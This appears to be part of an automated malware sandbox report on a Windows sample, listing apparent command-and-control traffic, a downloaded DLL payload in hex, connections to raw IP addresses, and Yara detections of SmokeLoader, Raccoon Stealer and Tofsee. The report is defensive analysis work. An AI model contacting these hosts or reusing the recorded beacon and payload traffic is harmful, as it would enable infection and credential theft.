0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 33 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 00 53 87 1d f0 f3 66 e6 23 59 1b f2 fc c4 4a 0d 0a 30 0d 0a 0d 0a Data Ascii: 33I:82OTevSf#YJ0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 4f 0a ad 24 c4 d0 66 b1 78 06 50 b9 e1 d9 0d 0a 30 0d 0a 0d 0a Data Ascii: 32I:82OTevO$fxP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:30:35 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 33 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 42 06 8e 51 de c4 66 e6 23 59 1b f2 fc c4 4a 0d 0a 30 0d 0a 0d 0a Data Ascii: 33I:82OTevBQf#YJ0

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 14 Jan 2022 19:30:24 GMTContent-Type: application/octet-streamContent-Length: 2828315Connection: keep-aliveLast-Modified: Fri, 07 Jan 2022 23:09:57 GMTETag: "61d8c845-2b281b"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 9a 7a 6e 4e 3c 09 f8 7b 72 d2 00 00 d0 69 01 00 0b 00 00 00 6e 73 73 64 62 6d 33 2e 64 6c 6c ec fd 7f 7c 14 d5 d5 38 00 cf ee 4e 92 0d 59 d8 05 36 18 24 4a 90 a0 d1 a0 06 16 24 31 80 d9 84 dd 44 20 b0 61 c9 2e 11 13 b4 6a 4c b7 56 f9 b1 43 b0 12 08 4e 02 3b 19 b7 f5 e9 a3 7d ec 2f ab f5 f1 e9 0f db a7 b6 b5 80 d5 ea 86 d8 24 f8 13 81 5a 2c 54 a3 52 bd 71 63 8d 92 86 45 63 e6 3d e7 dc 99 dd 0d da ef f7 fb be 7f bf f0 c9 ec cc dc 3b f7 9e 7b ee b9 e7 9e 73 ee b9 e7 d6 de 70 bf 60 11 04 41 84 3f 4d 13 84 83 02 ff 57 21 fc df ff e5 99 04 61 ca ec 3f 4e 11 9e ca 7e 65 ce 41 d3 ea 57 e6 ac 6f f9 fa b6 82 cd 5b ef ba 7d eb cd df 2c b8 e5 e6 3b ef bc 2b 5c f0 b5 db 0a b6 4a 77 16 7c fd ce 82 15 6b fd 05 df bc eb d6 db ae 9a 3c 79 52 a1 5e c6 45 07 6f 18 6e 78 73 d1 63 c6 9f ef d1 9f 3d 56 0f bf ed cf 2c fe e9 46 f8 ed bb fb cc 63 75 f4 bc e4 a7 1b e8 77 c1 4f fd f4 5b f2 d3 75 f0 7b cf d3 3c df 77 ff b8 f8 a7 37 50 19 8b 1f 7b 91 9e 4b 7e ea a6 df 45 f4 dd 77 ff f8 d2 63 fc f7 1a 7a 5e f7 f5 5b 5a b0 be 7f d7 36 9f 47 10 56 9b 32 84 e7 2b ba 6e 34 de 0d 08 97 cc c9 31 4d c9 11 2e 84 86 97 f0 77 7b 66 c3 bd 03 6e 4a 4c f8 e8 a0 7b b3 20 64 0a f4 9c fc 15 da 4d 84 e4 2b b6 98 20 b9 82 7f e4 10 84 d4 2f ff 29 b8 ce 24 58 21 b5 08 b2 f4 e3 cb 9b 4c c2 0e 4b 1a 60 ab 4d c2 91 8b e0 77 b3 49 f8 ef 4c 41 38 72 ad 49 58 ff 7f e8 a3 a2 72 d3 c4 be 04 38 37 98 ff 7d fe ab c2 b7 ed 08 c3 ef e9 3c bd 5d 17 72 b8 d3 ff 15 00 54 57 6d bd f5 e6 f0 cd 82 b0 62 36 2f 13 5f 0a 17 9b d2 b3 61 bd 15 57 f1 6c 42 02 db e0 33 11 6e 84 e5 5f ca 17 bb 6a eb b6 ad b7 08 02 6f eb 4d 7a 9d 15 5f 51 de d6 db ee b8 eb 16 81 da 8e 38 10 ac f0 bb e2 4b f9 2a 85 ff ff bf ff a7 7f f5 ea 90 bc ac c8 67 72 08 e1 4c b9 cd 2a 48 2e b5 d6 76 b6 fb 8b 84 36 5b 2a 92 bf e9 34 49 97 a8 dd 7b de 31 67 09 c2 3c 1c 02 3e 4d ca d3 24 47 9d 26 59 d9 8b d0 f7 f2 0b ce c6 1e 2d f7 a1 12 93 a3 4f 98 01 39 5c b1 c6 1e 2c 74 c8 e1 57 1b 6d ae 58 20 a8 b6 59 d5 33 ea 2a 87 e2 19 53 3c 23 7d 1e 22 85 3e cf 30 52 42 67 2c 9c 1d b2 6c 68 2e 73 8b e1 6f d8 0f b8 c5 e6 72 cf 70 38 13 ae 09 29 bf cf 33 82 1d 4b 0f 76 fb 01 93 eb 64 73 d9 8d 6e 33 14 2b 5d 07 8f f6 03 2b dc e3 ae c3 ed 6b 72 4d 75 01 5f 90 59 5c 82 a0 0e cb 2f 38 54 cf 18 96 0b af 06 26 0b 42 43 83 22 8d 75 8e da 3b be 0f 65 a9 6b 20 75 24 1e 81 cf 15 8f cd 7e 60 bd 7b 1c 21 ab 4d c8 09 f3 ae 5c 57 ac 59 a9 33 37 2b 6e 51 f5 5a 95 2a ab ea b1 c5 33 5c 47 15 bf 35 64 be a1 f8 90 5a 9f 68 56 4c cd ea 5a 1b 7c 6b 89 35 17 f7 ab 58 46 ac 59 1e cc 6c 56 56 57 9a d5 43 98 d8 7c bd fd 80 80 cf 62 fb aa 5c 93 5a 0f 95 87 6d 81 20 f3 03 30 f0 d4 d0 50 fe 46 38 7b 5d 90 55 11 70 da da 52 57 2c 6e 91 fb b5 4d 4d 1b d5 7f e8 c8 73 aa 1e c2 5f 40 b5 aa 3e 51

Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://pieilmtu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 280Host: host-data-coin-11.com

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.105:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49945 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 1.1.ECD2MpEBSf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.ECD2MpEBSf.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ECD2MpEBSf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.ECD2MpEBSf.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.jgdhbua.6f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.ECD2MpEBSf.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.1.jgdhbua.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ECD2MpEBSf.exe.5715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.jgdhbua.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.721727855.00000000006A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.708255964.00000000044C1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.776599972.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.899701090.0000000002070000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.721690876.0000000000680000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.901276330.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.776791205.00000000020A1000.00000004.00020000.sdmp, type: MEMORY

Source: BB8A.exe, 0000000C.00000000.765918722.00000000006AA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 00000027.00000003.861803378.0000000004EC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.920806858.0000000004E40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.922842020.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.1015911464.0000000004DA0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.1024642477.0000000000400000.00000040.00020000.sdmp, type: MEMORY

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

Show sources

Source: Yara match	File source: 17.3.D936.exe.22d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.krmdinzg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.svchost.exe.e70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.D936.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.svchost.exe.e70000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.krmdinzg.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.3.krmdinzg.exe.7c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.krmdinzg.exe.7c0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.D936.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.krmdinzg.exe.6c0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.D936.exe.22b0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.krmdinzg.exe.7c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.800983655.00000000006C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.798724710.00000000007C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1024071704.0000000000E70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.800731759.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.779473426.00000000022D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.801019606.00000000007C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: D936.exe PID: 7124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: krmdinzg.exe PID: 6888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3000, type: MEMORYSTR

System Summary:

PE file has nameless sections

Show sources

Source: E3A9.exe.5.dr	Static PE information: section name:
Source: E3A9.exe.5.dr	Static PE information: section name:
Source: E3A9.exe.5.dr	Static PE information: section name:
Source: E3A9.exe.5.dr	Static PE information: section name:
Source: E3A9.exe.5.dr	Static PE information: section name:
Source: E3A9.exe.5.dr	Static PE information: section name:
Source: 9889.exe.5.dr	Static PE information: section name:
Source: 9889.exe.5.dr	Static PE information: section name:
Source: 9889.exe.5.dr	Static PE information: section name:
Source: 9889.exe.5.dr	Static PE information: section name:
Source: 9889.exe.5.dr	Static PE information: section name:
Source: 9889.exe.5.dr	Static PE information: section name:

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6816 -ip 6816

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 0_2_0042B190	0_2_0042B190
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 0_2_0042A3B0	0_2_0042A3B0
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 0_2_00424D20	0_2_00424D20
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 0_2_005731FF	0_2_005731FF
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 0_2_00573253	0_2_00573253
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_2_00402A5F	1_2_00402A5F
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_2_00402AB3	1_2_00402AB3
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_1_00402A5F	1_1_00402A5F
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_1_00402AB3	1_1_00402AB3
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 9_2_006F3253	9_2_006F3253
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 9_2_006F31FF	9_2_006F31FF
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 11_2_00402A5F	11_2_00402A5F
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 11_2_00402AB3	11_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_004027CA	12_2_004027CA
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_00401FF1	12_2_00401FF1
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_0040158E	12_2_0040158E
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_004015A6	12_2_004015A6
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_004015BC	12_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_00411065	12_2_00411065
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_00412A02	12_2_00412A02
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_0040CAC5	12_2_0040CAC5
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_00410B21	12_2_00410B21
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_004115A9	12_2_004115A9
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_0208160C	12_2_0208160C
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_020815DE	12_2_020815DE
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_020815F6	12_2_020815F6
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00410800	15_2_00410800
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00411280	15_2_00411280
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_004103F0	15_2_004103F0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_004109F0	15_2_004109F0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00690640	15_2_00690640
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00690C40	15_2_00690C40
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00690A50	15_2_00690A50
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_006914D0	15_2_006914D0
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Code function: 17_2_0040C913	17_2_0040C913
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Code function: 17_2_0042B0A0	17_2_0042B0A0
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Code function: 17_2_0042A2C0	17_2_0042A2C0
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Code function: 17_2_00424C30	17_2_00424C30
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_017B96F0	18_2_017B96F0
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_017B0470	18_2_017B0470
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_017B0462	18_2_017B0462
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_05811810	18_2_05811810
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_058153F8	18_2_058153F8
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_05810448	18_2_05810448
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_05812E48	18_2_05812E48
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_05821528	18_2_05821528
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_0582AD68	18_2_0582AD68
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_05822C88	18_2_05822C88
